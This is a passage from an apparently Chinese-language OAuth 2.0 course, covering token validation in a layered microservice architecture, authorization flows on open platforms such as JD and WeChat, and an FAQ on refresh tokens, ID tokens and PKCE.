这一层是微服务调用流量的入口。网关的主要职责是反向路由,也就是将前端请求根据HOST主机头、或者PATH、或者查询参数,路由到后端目标微服务(比如,图中的IDP/BFF或者直接到领域服务)。

另外,网关还承担两个重要的安全职责:

  • 一个是令牌的校验和转换,将前端传递过来的OAuth 2.0访问令牌,通过调用IDP进行校验,并转换为包含用户和权限信息的JWT令牌,再将JWT令牌向后台微服务传递。
  • 另外一个是权限校验,网关的路由表可以和OAuth 2.0的Scope进行关联。这样,网关根据请求令牌中的权限范围Scope,就可以判断请求是否具有调用后台服务的权限。

关于安全相关的场景和流程,我会在下一章节做进一步解释。

另外,网关还需承担集中式限流、日志监控,以及支持CORS等功能。

对于网关层的技术选型,当前主流的API网关产品,像Netflix开源的Zuul、Spring Cloud Gateway等,都可以考虑。

IDP服务

IDP是Identity Provider的简称,主要负责OAuth 2.0授权协议处理,OAuth 2.0和JWT令牌颁发和管理,以及用户认证等功能。IDP使用后台的Login-Service进行用户认证。

对于IDP的技术选型,当前主流的Spring Security OAuth,或者RedHat开源的KeyCloak,都可以考虑。其中,Spring Security OAuth是一个OAuth 2.0的开发框架,适合企业定制。KeyCloak则是一个开箱即用的OAuth 2.0/OIDC产品。

BFF层

BFF是Backend for Frontend的简称,主要实现对后台领域服务的聚合(Aggregation,有点类似数据库的Join)功能,同时为不同的前端体验(PC/Mobile/开放平台等)提供更友好的API和数据格式。

BFF中可以包含一些业务逻辑,甚至还可以有自己的数据库存储。通常,BFF要调用两个或两个以上的领域服务,甚至还可能调用其它的BFF(当然一般并不建议这样调用,因为这样会让调用关系变得错综复杂,无法理解)。

如果BFF需要获取调用用户或者OAuth 2.0 Scope相关信息,它可以从传递过来的JWT令牌中直接获取。

BFF服务可以用Node.js开发,也可以用Java/Spring等框架开发。

领域服务层

领域服务层在整个微服务架构的底层。这些服务包含业务逻辑,通常有自己独立的数据库存储,还可以根据需要调用外部的服务。

根据微服务分层原则,领域服务禁止调用其它的领域服务,更不允许反向调用BFF服务。这样做是为了保持微服务职责单一(Single Responsibility)和有界上下文(Bounded Context),避免复杂的领域依赖。领域服务是独立的开发、测试和发布单位。在电商领域,常见的领域服务有用户服务、商品服务、订单服务和支付服务等。

和BFF一样,如果领域服务需要获取调用用户或者OAuth 2.0 Scope相关信息,它可以从传递过来的JWT令牌中直接获取。

可以看到,领域服务和BFF服务都是无状态的,它们本身并不存储用户状态,而是通过传递过来的JWT数据获取用户信息。所以在整个架构中,微服务都是无状态、可以按需水平扩展的,状态要么存在用户端(浏览器或者手机App中),要么存在集中的数据库中。

OAuth 2.0/JWT如何与微服务进行集成?

以上,就是ACME公司的整个微服务架构的层次了。这个分层架构,对于大部分的互联网业务系统场景都适用。因此,如果你是一家企业的架构师,需要设计一套微服务架构,完全可以参考它来设计。接下来,我再演示几个典型的应用认证场景,以及相应的服务调用流程,来帮助你理解OAuth 2.0/JWT是如何和微服务进行集成的。

场景1:第一方Web应用+资源拥有者凭据模式

这个场景是用户访问ACME公司自己的电商网站,假设这个电商网站是用Spring MVC开发的。考虑到这是一个第一方场景(也就是公司自己开发的网站应用),我们可以选OAuth 2.0的资源拥有者凭据许可(Resource Owner Password Credentials Grant),也可以选更安全的授权码许可(Authorization Code Grant)。因为这里没有第三方的概念,所以我们就选相对简单的资源拥有者凭据许可。

下面是一个认证授权流程样例。注意,这个只是突出了关键步骤,实际生产的话,还有很多需要完善和优化的地方。另外,为描述简单,这里假定一个成功流程。

在上面的图中,用户对应OAuth 2.0中的资源拥有者,ACME IDP对应OAuth 2.0中的授权服务。另外,前面架构图中的后台微服务(包括BFF和基础领域服务),对应OAuth 2.0中的受保护资源。

下面是流程说明:

  1. 用户通过浏览器访问ACME公司的电商网站,点击登录链接。
  2. Web应用返回登录界面(这个登录页可以是网站自己定制开发)。
  3. 用户输入用户名、密码进行认证。
  4. Web应用将用户名、密码,通过网关转发到IDP的令牌获取端点(POST /oauth2/token,grant_type=password)。
  5. IDP通过Login Service对用户进行认证。
  6. IDP认证通过,返回有效访问令牌(根据需要也可以返回刷新令牌)。
  7. Web应用接收到访问令牌,创建用户Session,并将OAuth 2.0令牌保存其中,然后返回登录成功到用户端。
  8. 用户浏览器中记录Session Cookie,登录成功。

那接下来,我们再来看看认证授权之后的服务调用流程。同样,这里也只是突出了关键步骤,并假定是一个成功流程。

  1. 用户登录后,在网站上点击查看自己的购物历史记录。
  2. Web应用通过网关调用后台API(查询用户的购物历史记录),请求HTTP header中带上OAuth 2.0令牌(来自用户Session)。
  3. 网关截取OAuth 2.0令牌,去IDP进行校验。
  4. IDP校验令牌通过,再通过令牌查询用户和Scope信息,构建JWT令牌,返回。
  5. 网关获得JWT令牌,校验Scope是否有权限调用API,如果有就转发到后台API进行调用。
  6. 后台BFF(或者领域服务)通过传递过来的JWT获取用户信息,根据用户ID查询购物历史记录,返回。
  7. Web应用获得用户的购物历史数据,可以根据需要缓存在Session中,再返回用户端。
  8. 购物历史数据返回到用户浏览器端。

注意,这个服务调用流程,也可以应用在其他场景中,比如我们接下来要学习的“第一方移动应用+授权码许可模式”和“第三方Web应用+授权码许可模式”。基本上只要你理解了这个流程原理,就可以根据实际场景灵活套用。

场景2:第一方移动应用+授权码许可模式

第二个场景是用户通过手机访问ACME公司自己的电商App。这是第一方的原生应用(Native App)场景,通常考虑选用OAuth 2.0的用户名密码模式,但是并不安全(参考 MICRO-SERVICES ARCHITECTURE WITH OAUTH2 AND JWT – PART 3 – IDP 的Security Consideration部分),所以业界建议采用授权码模式,而且是要支持 PKCE 扩展的授权码模式。

那接下来,我们来看看这个认证授权的流程。同样,这里只是突出了关键步骤,并假定是一个成功流程。

  1. 用户访问电商App,点击登录。
  2. App生成PKCE相关的code verifier + challenge。
  3. App以内嵌方式启动手机浏览器,访问IDP的统一认证页(GET /authorize),请求带上PKCE的code challenge相关参数。
  4. IDP返回统一认证页。
  5. 用户认证和授权。
  6. IDP通过Login Service对用户进行认证。
  7. IDP返回授权码到App浏览器。
  8. App截取浏览器带回的授权码,将授权码+PKCE code verifer,通过网关转发到IDP的令牌获取端点(POST /oauth2/token, grant_type=authorization-code)。
  9. IDP校验PKCE和授权码,校验通过则返回有效访问令牌。
  10. App获取令牌,本地存储,登录成功。

之后,App如果需要和后台交互,可直接通过网关调用后台微服务,请求HTTP header中带上OAuth 2.0访问令牌即可。后续的服务调用流程,和“第一方应用+资源拥有者凭据模式”类似。

场景3:第三方Web应用+授权码模式

第三个场景是某第三方合作厂商开发了一个Web网站,要访问ACME公司的电商开放平台API。这是一个第三方Web应用场景,通常选用OAuth 2.0的授权码许可模式。

那接下来,我们来看看这个认证授权的流程。同样,这里只是突出了关键步骤,并假设是一个成功流程。

  1. 用户访问这个第三方Web应用,点击登录链接。

  2. Web应用后台向ACME公司的IDP服务发送申请授权码请求(GET /authorize)。

  3. 用户被重定向到ACME公司的IDP统一登录页面。

  4. 用户进行认证和授权。

  5. IDP通过Login Service对用户进行认证。

  6. 认证和授权通过,IDP返回授权码。

  7. Web应用获得授权码,再向IDP服务的令牌获取端点发起请求(POST /oauth2/token, grant_type=authorization-code)。

  8. IDP校验授权码,校验通过则返回有效OAuth 2.0令牌(根据需要也可以返回刷新令牌)。

  9. Web应用创建用户Session,将OAuth 2.0令牌保存在Session中,然后返回登录成功到用户端。

  10. 用户浏览器中记录Session Cookie,登录成功。

之后,第三方Web应用如果需要和ACME电商平台交互,可直接通过网关调用微服务,请求HTTP header中带上OAuth 2.0访问令牌即可。后续的服务调用流程,和前面的“第一方应用+资源拥有者凭据模式”类似。

额外说明

除了上面的三个主要场景和流程,我还要和你分享6点。这6点是对上面基本流程的补充,也是企业级的OAuth 2.0应用要额外考虑的。

第一点是,IDP的API要支持从OAuth 2.0访问令牌到JWT令牌的互转。今天我们提到的集成架构采用OAuth 2.0 访问令牌 + JWT令牌的混合模式,中间需要实现OAuth 2.0访问令牌到JWT令牌的互转。这个互转API并非OAuth 2.0的标准,有些IDP产品(比方Spring Security OAuth)可能并不支持,因此需要用户定制扩展。

第二点是,关于单页SPA应用场景。关于单页SPA应用场景,简单做法是采用隐式许可,但是这个模式是OAuth 2.0中比较不安全的,所以一般不建议采用。对于纯单页SPA应用,业界推荐的做法是:

  • 如果浏览器支持Web Crypto for PKCE,则可以考虑使用类似“第一方移动应用”场景下的授权码许可+PKCE扩展流程;
  • 否则,考虑SPA+传统Web混合(hybrid)模式,前端页面可以住在客户浏览器端中,但登录认证还是由后台Web站点配合实现,走类似“第一方Web应用”场景的资源拥有者凭据模式,或者“第三方Web应用”场景下的授权码许可模式。

第三点是,关于SSO单点登录场景。为了简化描述,上面的流程没有考虑SSO单点登录场景。如果要支持Web SSO,那么各种应用场景都必须通过浏览器+IDP登录页集中登录,并且IDP要支持Session,用于维护登录态。如果IDP以集群方式部署的话,还要考虑粘性Sticky Session或者集中式Session。

这样,当用户通过一个Web应用登录后,后续如果再用其它Web应用登录的话,只要IDP上的Session还存在,那么这个登录就可以自动完成,相当于单点登录。

当然,如果要支持SSO,IDP的Session Cookie要种在Web应用的根域上,也就是说不同Web应用的根域必须相同,否则会有跨域问题。

第四点是关于IDP和网关的部署方式。前面的几张架构图中,IDP虽然躲在网关后面,但实际上IDP可以直接通过Nginx对外暴露,不经过网关。或者,IDP的登录授权页面,可以通过Nginx直接暴露,API接口则走网关。

第五点是关于刷新令牌。为了简化描述,上面的流程没有详细说明刷新令牌的集成方式。企业根据场景需要,可以启用刷新令牌,来延长用户的登录时间,具体的集成方式需要考虑安全性的需求。

第六点是关于Web Session。为了简化描述,在上面的流程中,Web应用登录成功后假设启用Web Session,也就是服务器端Session。在实际场景中,Web Session并非唯一选择,也可以采用简单的客户端Session方式,也称无状态Session,也就是在客户端浏览器Cookie中保存OAuth 2.0访问令牌。

小结

好了,以上就是今天的主要内容了。今天,我和你分享了如何将行业标准的OAuth 2.0/JWT和微服务集成起来,你需要记住以下四点。

第一,目前主流的微服务架构大致可以分为5层,分别是:Nginx流量接入层->Web应用层->API网关层->BFF聚合层->领域服务层。这个架构可以住在云原生的Kubernetes环境中,也可以住在传统数据中心里头。

第二,API网关是微服务调用的入口,承担重要的安全认证和鉴权功能。主要的安全操作包括:一,通过IDP校验OAuth 2.0访问令牌,并获取带用户和权限信息的JWT令牌;二,基于OAuth 2.0的Scope对API调用进行鉴权。

第三,在微服务架构体系下,通常需要一个集中的IDP服务,它相当于一个Authentication & Authorization as a Service角色,负责令牌颁发/校验/管理,还有用户认证。

第四,在今天这一讲提出的架构中,Web应用层(网关之前)的安全机制主要基于OAuth 2.0访问令牌实现(它是一种 透明令牌 或者称 引用令牌),微服务层(网关之后)的安全机制主要基于JWT令牌实现(它是一种 不透明自包含令牌)。网关层在中间实现两种令牌的转换。这是一种OAuth 2.0访问令牌+JWT令牌的混合模式。

之所以这样设计,是因为Web层靠近用户端,如果采用JWT令牌,会暴露用户信息,有一定的安全风险,所以采用OAuth 2.0访问令牌,它是一个无意义随机字符串。而在网关之后,安全风险相对低,同时很多服务需要用户信息,所以采用自包含用户信息的JWT令牌更合适。

当然,如果企业内网没有特别的安全考量,也可以直接传递完全透明的用户信息(例如使用JSON格式)。

思考题

  1. 除了今天我们讲到的OAuth 2.0访问令牌+JWT令牌的混合模式,实践中也可以全程采用OAuth 2.0访问令牌,或者全程采用JWT令牌。对比混合模式,如果全程采用OAuth 2.0访问令牌,或者全程采用JWT令牌,你觉得有哪些利弊呢?
  2. 你可以说说自己对基于传统Web应用的认证授权机制的理解吗?并对比今天讲到的现代微服务的认证授权机制,你可以说说它们之间的本质差异和相似点吗?

欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。

| 各大开放平台是如何使用OAuth 2.0的?

你好,我是王新栋。

在咱们这门课中,我提到了很多次“开放平台”,不难理解,它的作用就是企业把自己的业务能力主要以开放API的形式,赋能给外部开发者。而作为第三方开发者或者ISV(独立软件供应商)在接入这些开放平台的时候,我们最应该关心的就是它们的官方文档,关注接入的流程是怎样的、对应的API是什么、每个API都传递哪些参数,也就差不多够了。

到这里,你会发现“开放平台的官方文档”会是一个关键点。不过呢,当你去各大开放平台上面看这些文档的时候,就会发现这些文档非常分散。

其中的原因也很简单,那就是开放平台为了让已经具备OAuth 2.0知识的研发人员去快速地对接平台上面的业务,把各类对接流程做了分类归档。比如,你会发现微信开放平台上有使用授权码获取授权信息的文档,也有获取令牌的文档,但并没有一份整体的、能够串起来的文档说明。从我的角度来看,这其实也就间接提高了使用门槛,因为如果你不懂OAuth 2.0,基本是没办法理解那些分类的。

那么,今天我就借着这个点,和你说说以京东、微信、支付宝、美团为代表的各大开放平台是如何使用OAuth 2.0的。理解了这个问题,你以后再对接一个开放平台、再阅读一份官方对接文档时,就更能明白它们的底层逻辑了。

在正式介绍各大开放平台的使用细节之前,我们先来看看大厂的开放平台全局体系。据我观察,各个开放平台基本的系统结构和授权系统在中间的交互流程,大同小异,都是通过授权服务来授权,通过网关来鉴权。所以接下来,我就以京东商家开放平台为例,来和你说说开放平台的体系到底是什么样子的。

开放平台体系是什么样子的?

我们首先来看一下京东商家开放平台全局体系的结构,如下图所示。

我们可以把这个架构体系分为三部分来看:

  1. 第三方软件,一般是指第三方开发者或者ISV通过对接开放平台来实现的应用软件,比如小兔打单软件。
  2. 京东商家开放平台,包含API网关服务、OAuth 2.0授权服务和第三方软件开发者中心服务。其中,API网关服务和OAuth 2.0授权服务,是开放平台的“两条腿”;第三方软件开发者中心服务,是为开发者提供管理第三方软件应用基本信息的服务,比如app_id、app_secret等信息。
  3. 京东内部的各个微服务,比如订单服务、商品服务等。这些微服务,就是我们之前提到的受保护资源服务。

从图中我们还可以看到这个体系整体的调用关系是:第三方软件通过HTTP协议请求到开放平台,更具体地说是开放平台的API网关服务,然后由API网关通过内部的RPC调用到各个微服务。

接下来,我们再以用户小明使用小兔打单软件为例,来看看这些系统角色之间具体又是怎样交互的?

到这里,我们可以发现,在开放平台体系中各个系统角色间的交互可以归结为:

  1. 当用户小明访问小兔软件的时候,小兔会首先向开放平台的OAuth 2.0 授权服务去请求访问令牌,接着小兔拿着访问令牌去请求API网关服务;
  2. 在API网关服务中,会做最基本的两种校验,一种是访问令牌的合法性校验,比如访问令牌是否过期的校验,另一种是小兔打单软件的基本信息的合法性校验,比如app_id和app_secret的校验;
  3. 都校验成功之后,API网关服务会发起最终的数据请求。

这里需要说明的是,在 第5讲 中我们提到,验证访问令牌或者第三方软件应用信息的时候,都是在受保护资源服务中去做的。 当有了API网关这一层的时候,这些校验工作就会都落到了API网关的身上,因为我们不能让很多个受保护资源服务做同样的事情

我们理解了京东商家开放平台的体系结构后,可以小结下了。依靠开放平台提供的能力,可以说开放平台、用户和开发者实现了三赢:小明因为使用小兔提高了打单效率;小兔的开发者因为小明的订购服务获得了收益;而通过开放出去的API让小兔帮助小明能够极快地处理C端用户的订单,京东提高了用户的使用体验。

但同时呢,开放也是一把双刃剑。理想状态下,平台、开发者、用户可以实现三赢,但正如我们在 第8讲第10讲 中提到的,安全的问题绝不容忽视,而用户的信息安全又是重中之重。接下来,我就和你分享一个,开放平台体系是如何解决访问令牌安全问题的案例。

我们已经知道,用户给第三方软件授权之后,授权服务就会生成一个访问令牌,而且这个访问令牌是跟用户关联的。比如,小明给小兔打单软件进行了授权,那么此时访问令牌的粒度就是:小兔打单软件+小明。

我们还知道了,小兔打单软件可以拿着这个访问令牌去代表小明访问小明的数据;如果访问令牌过期了,小兔打单软件还可以继续使用刷新令牌来访问,直到刷新令牌也过期了。

现在问题来了,如果小明注销了账号,或者修改了自己的密码,那他之前为其它第三方软件进行授权的访问令牌就应该立即失效。否则,在刷新令牌过期之前,第三方软件可以一直拿着之前的访问令牌去请求数据。这显然不合理。

所以在这种情况下,授权服务就要通过MQ(消息队列)接收用户的注销和修改密码这两类消息,然后对访问令牌进行清理。

其实,这个案例中解决访问令牌安全问题的方式,不仅仅适用于开放平台,还可以为你在企业内构建自己的OAuth 2.0授权体系结构时提供借鉴。

以上就是开放平台整体的结构,以及其中需要重点关注的用户访问令牌的安全性问题了。我们作为第三方软件开发者,在对接到这些开放平台或者浏览它们的网站时,几乎都能看到类似这样的一句话:“所有接口都需要接入OAuth授权,经过用户确认授权后才可以调用”,这正是OAuth 2.0的根本性作用。

理解了开放平台的脉络之后,接下来,就让我们通过一组图看一看开放平台是如何使用OAuth 2.0授权流程的吧。

各大开放平台授权流程

我们以 微信支付宝美团 为例,看看它们在开放授权上是如何使用OAuth 2.0 的。我们首先看一下官方的授权流程图:

引自 微信官方文档

引自 支付宝开放平台文档

引自 美团外卖开放平台

我们可以在这三张授权流程图中看到,都有和授权码code相关的文字。这就说明, 它们都建议开发者首选授权码流程。所以,你现在更能明白我为啥在这门课里要花这么多篇幅,来和你讲授权码许可相关的内容了吧。

在这一讲最开始我也提到了,我们作为开发者在对接开放平台的时候,最关心的就是它们提供的官方对接文档了。而 这些文档里面,最让人头疼就是那些通信过程中需要传递的参数 了。下面我会带着你从我的角度,以京东商家开放平台为例,给你串下这些参数背后的含义,以及关键点。这样你在做具体接入操作的时候,就可以举重若轻了。

授权码流程中的参数说明

概括来讲,在京东商家开放平台的授权服务这一侧,提供服务的就是两个端点:负责生成授权码的 授权端点 以及负责颁发访问令牌的 令牌端点。整个授权过程中,虽然看着有很多参数,但你可以围绕这两条线,来对它们做归类。

接下来,我们继续以小兔打单软件为例,来看一下它在对接京东商家开放平台的时候都用到了哪些参数。

小明在使用小兔打单软件的时候,首先被小兔通过重定向的方式引导到京东商家开放平台的授权服务上,其实就是引导到了授权服务的授权端点上。这个重定向的过程中用到的参数如下:

这里需要强调的是,对于state参数,现在官方都是“推荐”使用。我们在 第8讲 中说过,OAuth 2.0官方建议的避免CSRF攻击的方式,就是使用state参数。所以安全起见,你还是应该使用。

接着,京东商家开放平台授权服务的授权端点,会向小兔软件做出响应。这个响应的过程用到的基本参数,如下:

对于授权码code的值,一般建议的最长生命周期是10分钟。另外,小兔打单软件只能被允许使用一次该授权码的值,如果使用一次之后还用同样的授权码值来请求,授权服务必须拒绝。

对于这次的state值,授权服务每次都是必须要返回给小兔打单软件的。无论小兔打单软件在起初的时候有没有发送该值,都必须返回回去,如果没有就返回空。这样当小兔打单软件日后升级增加该值的时候,京东商家开放平台就不需要改动任何代码逻辑了。

在拿到授权码code的值之后,接下来就是小兔打单软件向京东商家开放平台的授权服务的令牌端点发起请求,申请访问令牌。这个过程中需要传递的基本参数,如下:

在授权服务接收到小兔打单软件申请访问令牌的请求后,像授权端点一样,令牌端点也需要向小兔打单软件做出响应。这个过程涉及到的基本参数,如下:

对于这里返回的scope值,我要强调下,其实就是小兔软件被允许的实际的权限范围,因为小明有可能给小兔软件授予了小于它在开放平台注册时申请的权限范围。比如,小兔打单软件申请了查询历史订单、查询当天订单两个API的权限,但小明可能只给小兔授权了查询当天订单API的权限。

总结

好了,这一讲就要结束了。我们一起学习了开放平台体系的整体结构和授权流程,以及第三方软件开发者关心的对接开放平台的通信流程中需要传递的参数。现在,我希望你能记住以下三点内容。

  1. 当有多个受保护资源服务的时候,基本的鉴权工作,包括访问令牌的验证、第三方软件应用信息的验证都应该抽出一个 API网关层,并把这些基本的工作放到这个API网关层。
  2. 各大开放平台都是推荐使用授权码许可流程,无论是网页版的Web应用程序,还是移动应用程序。
  3. 对于第三方软件开发者重点关注的参数,可以从授权服务的授权端点和令牌端点来区分,授权端点重点是授权码请求和响应的处理,令牌端点重点是访问令牌请求和响应的处理。

思考题

在有了API网关这一层之后,API网关向订单服务请求数据的时候,还是传递访问令牌access_token的值吗?如果不是的话,它传递的又是什么值呢?

欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。

| 查漏补缺:OAuth 2.0 常见问题答疑

你好,我是王新栋。

从6月29日这门课上线,到现在已经过去一个多月了。我看到了很多同学的留言,有思考,也有提出的问题。那我首先,在这里要感谢你对咱们这门课的支持、鼓励和反馈。

在回复你们的留言时,我也把你们提出的问题记了下来。在梳理今天这期答疑的时候,我又从头到尾看了一遍这些问题,也进一步思考了每个问题背后的元认知,最后我归纳出了6个问题:

  1. 发明 OAuth 的目的到底是什么?
  2. OAuth 2.0 是身份认证协议吗?
  3. 有了刷新令牌,是不是就可以让访问令牌一直有效了?
  4. 使用了HTTPS,是不是就能确保JWT格式令牌的数据安全?
  5. ID令牌和访问令牌之间有联系吗?
  6. PKCE协议到底解决的是什么问题?

接下来,我们就一一看看这些问题吧。

发明 OAuth 的目的到底是什么?

OAuth 协议的设计初衷,就是让最终用户也就是资源拥有者(小明),将他们在受保护资源服务器(京东商家开放平台)上的部分权限(查询当天订单) 委托 给第三方应用(小兔打单软件),使得第三方应用(小兔)能够代表最终用户(小明)执行操作(查询当天订单)。

这便是OAuth 协议设计的目的。在OAuth 协议中,通过为 每个第三方软件和每个用户的组合 分别生成对受保护资源具有 受限的访问权限的凭据,也就是访问令牌,来代替之前的用户名和密码。 而生成访问令牌之前的登录操作,又是在用户跟平台之间进行的,第三方软件根本无从得知用户的任何信息。

这样第三方软件的逻辑处理就大大简化了,它今后的动作就变成了请求访问令牌、使用访问令牌、访问受保护资源,同时在第三方软件调用大量API的时候, 不再传输用户名和密码,从而减少了网络安全的攻击面。

从安全的角度来讲, 为每个第三方软件和每个用户的组合来生成一个访问令牌 的方式,可以减少对平台更多用户造成的危害。因为这样一来,单个第三方软件被攻破而带来的危害,仅仅会让这一个第三方软件的用户受到影响。

那么有的同学就要会问了,这样攻击的对象就会转移到授权服务身上。这个想法没错,但保护一个授权服务肯定要比保护成千上万个、由不同研发人员开发的第三方软件容易得多。

OAuth 2.0 是身份认证协议吗?

在这门课中,我其实一直在强调, OAuth 2.0 是一种授权协议,“它一心只专注于干好授权这件事儿”,OAuth 2.0 不是身份认证协议。 但实际上,我在刚开始学习 OAuth 2.0 的时候,也曾错误地认为它是身份认证协议。

因为我当时觉得,有用户参与其中,比如小明在使用小兔打单软件之前,要向授权服务进行登录操作从而进行身份认证 ,那OAuth 2.0就应该是一个身份认证协议啊。

但是,小明必须登录之后才能进行授权,是一个额外的需求,登录跟授权体系是独立的。虽然登录操作看似“内嵌”在了 OAuth 2.0 的流程中,但生产环境中登录和授权还是两套独立存在的系统。所以说, 像这种“内嵌”的身份认证行为,并不是说 OAuth 2.0 自身承担起了身份认证协议的责任。

同时,身份认证会告诉第三方软件当前的用户是谁,但实际上OAuth 2.0 自始至终都没有向第三方软件透露过关于用户的任何信息。这一点,我们在讲发明OAuth协议的目的时也提到过。我们可以再想想小兔打单软件的例子,看是不是这样:小兔打单软件永远也不会知道小明的任何信息,它仅仅是请求访问令牌,使用访问令牌并最终调用查询订单的API。

有了刷新令牌,是不是就可以让访问令牌一直有效了?

要回答这个问题,我们先复习下访问令牌和刷新令牌相关的几个知识点吧。

第一,OAuth 2.0的核心是授权,授权的核心是令牌,也就是我们说的访问令牌。

第二,在 第3讲 中我们提到,为了提高用户的体验,OAuth 2.0提供了刷新令牌的机制,使得访问令牌过期后,第三方软件在无需用户再次授权的情况下,可以重新请求一个访问令牌。

第三,在使用上, 刷新令牌只能用在授权服务上,而访问令牌只能用在受保护资源服务上。

有了这些知识做基础,我们可以继续分析“有了刷新令牌,是不是就可以让访问令牌一直有效”这个问题了。

当访问令牌被 “递给” 受保护资源服务的时候,受保护资源服务需要对访问令牌进行验证,还要对访问令牌关联的权限和第三方软件的请求进行权限匹配校验。当访问令牌过期的时候,我们使用刷新令牌请求到的访问令牌,是授权服务重新生成的,而不是延长了原访问令牌的有效期。

当前的这个刷新令牌被使用之后,授权服务可以自行决定是颁发一个新的刷新令牌,还是仍然给第三方软件返回上一个刷新令牌。安全起见,我们的建议是 返回一个新的刷新令牌。这时,你可能就有一个疑问了:第三方软件已经换了一个访问令牌了,刷新令牌又一直存在,那是不是就可以一直使用刷新令牌来获取访问令牌了呢?

要解决这个疑问,我们要知道的是, 刷新令牌也有有效期。 尽管生成了新的刷新令牌,但它的有效期不会改变,有效期的时间戳仍然是上一个刷新令牌的。刷新令牌的有效期到了,就不能再继续用它来申请新的访问令牌了。

使用了HTTPS,是不是就能确保JWT格式令牌的数据安全?

OAuth 2.0 的使用从来都不应该脱离HTTPS。因为访问令牌、应用密钥敏感信息要在网络上传输,都离不开HTTPS的保护。但是,HTTPS也只是保证了访问令牌等重要信息在网络传输上的安全。

在OAuth 2.0 的规范中,访问令牌对第三方软件是不透明的,从来都不应该被任何第三方软件解析到。由于JWT格式的令牌自包含了用户相关的信息,比如用户标识,因此仅仅对它进行签名还不够。要避免第三方软件有机会获取访问令牌所包含的信息,那我们在与第三方软件交互的环境下使用JWT格式的令牌时,还要对它进行加密来保障令牌的安全,而不是仅仅依靠HTTPS。

ID令牌和访问令牌之间有联系吗?

第9讲 中,我们在用OAuth 2.0 实现一个 OpenID Connect身份认证协议的时候,讲到了ID令牌。在这一讲的后面,有同学还是不太清楚ID令牌和访问令牌是啥关系,当时我就在留言区做了回复。现在,我重新整理了思路再和你解释一下,因为认识到ID令牌和访问令牌的联系与区别,对我们利用OAuth 2.0 搭建一个身份认证协议来说太重要了。

我们先来总结下ID令牌和访问令牌的作用:

  • ID令牌,也就是ID_TOKEN,代表的是用户身份令牌,可以说是一个单独的身份认证结果,永远不会像访问令牌那样作为一个参数,去传递给其它外部服务;
  • 访问令牌,也就是ACCESS_TOKEN,就是一个令牌,是要被第三方软件用来作为凭证,从而代表用户去请求受保护资源服务的。

你看,这两种令牌是截然不同的。接下来,我们就分析下,它们的区别都体现在哪些方面吧。

第一,ID令牌是对访问令牌的补充,而不是要替换访问令牌。之所以采用这样双令牌的方式,就是想让早先存在的访问令牌,可以在OAuth 2.0 中继续保持对第三方软件的不透明性,而让后来新增的ID令牌要能够被解析,目的就是方便应用到身份认证协议中。

第二,ID令牌和访问令牌有不同的生命周期,ID令牌的生命周期相对来说更短些。因为ID令牌的作用就是代表一个单独的身份认证结果,它的使命就是用来标识用户的。而这个标识并不是用户名,用户登录的时候用的是用户名而不是这个ID令牌,所以如果用户注销或者退出了登录,ID令牌的生命周期就随之结束了。

访问令牌可以在用户离开后的很长时间内,继续被第三方软件用来请求受保护资源服务。比如,小明使用了小兔打单软件的批量导出订单功能,如果耗时相对比较长,小明不必一直在场。

PKCE协议到底解决的是什么问题?

我们在 第7讲 中学习PKCE协议时,我看到了大家对这个协议的很多留言,有的是自己的思考,有的是问题的进一步讨论。我们要理解PKCE协议到底解决了什么问题,就要先看一下它被推出的背景。

2012年10月OAuth 2.0 的正式授权协议框架,也就是官方的RFC 6749被正式发布,2015年9月增补了PKCE协议,也就是官方的RFC 7636。从时间上来看,从正式发布 OAuth 2.0 授权协议到增补发布了PKCE协议,整整间隔了三年,而这三年恰恰是移动应用蓬勃发展的时期。

同时,在原生的移动客户端应用保存秘钥又存在特殊的安全问题,使用OAuth 2.0 授权码许可类型的客户端又容易受到授权码窃听的攻击。

所以,PKCE被增补发布的背景是,移动应用大力发展,同时原生客户端使用OAuth 2.0 面临着安全风险。这样我们就能理解了,发布PKCE协议的目的,主要就是缓解针对公开客户端的攻击,提高授权码使用的安全性。

总结

今天,我们专门用一节课来统一回答了OAuth 2.0的共性问题。我再来总结下你需要掌握的知识点:

  1. OAuth 协议被发明的目的,就是用令牌代替用户名和密码。
  2. OAuth 2.0 不能被直接用来“从事”身份认证协议的“工作”。虽然OAuth2.0的使用要求是在HTTPS的环境下,但这并不能解决JWT令牌对第三方软件“不透明”的问题,还需要进行加密。
  3. 有了刷新令牌也不能让访问令牌一直有效下去,因为刷新令牌也有有效期。
  4. ID令牌是对访问令牌的补充,而不是要替代访问令牌。
  5. PKCE是OAuth 2.0的一个增补协议,主要用来缓解授权码被窃听的安全风险。

或许你在学习和实践OAuth 2.0时还会遇到其他问题,但不用担心,我们的留言区一直在,我也继续在留言区等着你,来回复你关心的、遇到的问题。

欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他使用OAuth 2.0的朋友,我们一起精进。

结束语 | 把学习当成一种习惯

你好,我是王新栋。

当你来到这节课的时候,我们的课程已经接近尾声,相信你在课程的学习中都有所收获。在最后的这节课,我想跟你谈一谈如何学习OAuth 2.0 这门技术。

在谈起如何学习这个话题的时候,我很愿意跟你分享我的一些经历和经验。我个人认为, 学习从来都不是一件容易的事情,夸张一点讲有点“反人性”。你想啊,谁不愿意,在工作忙碌了一天后,晚上回家多陪陪家人;又有谁不愿意,到了周末去找几个朋友打打篮球或者陪女朋友看看电影呢。但是,学习一定要养成一种习惯。我在《程序员思维修炼》这本书中读到这么一段话,分享给你:

知识投资也是一样。你需要定期投资最低限度的时间量。养成一种习惯,如果需要的话。躲到你的家庭办公室里去或者走进有无线网络的咖啡厅。并非每期学习都同样富有成效,但是只要定期安排学习,长期来看一定会成功。如果你一直在等待空闲时间或者等待灵感的突现,那么它永远都不会发生。

在具备了上面所述的“定力”以后,我再和你谈一谈具体的学习方法。

我按照层次由低到高把学习分为 基础学习、分析学习和主题学习

  • 基础学习,就是从知识点最基本的理论开始学习;
  • 分析学习,就是对知识的结构脉络做梳理,并带着问题去学习;
  • 主题学习,就是对同一个知识点,分别找到不同的资料来学习。

这样看,基础学习和分析学习属于“点”的学习,而主题学习就属于“面”的学习,整体下来就是从点到面构建知识网络的过程。接下来,我就和你说说OAuth 2.0的学习,是怎么对应到这三个层次的。

在基础学习的过程中,我们要学习OAuth 2.0的四种基本角色,包括资源拥有者(也就是用户)、客户端(也就是第三方软件)、授权服务、受保护资源服务;还要学OAuth 2.0的四种基本授权许可类型,包括授权码许可类型、隐式许可类型、客户端凭据许可类型、资源拥有者凭据许可类型。

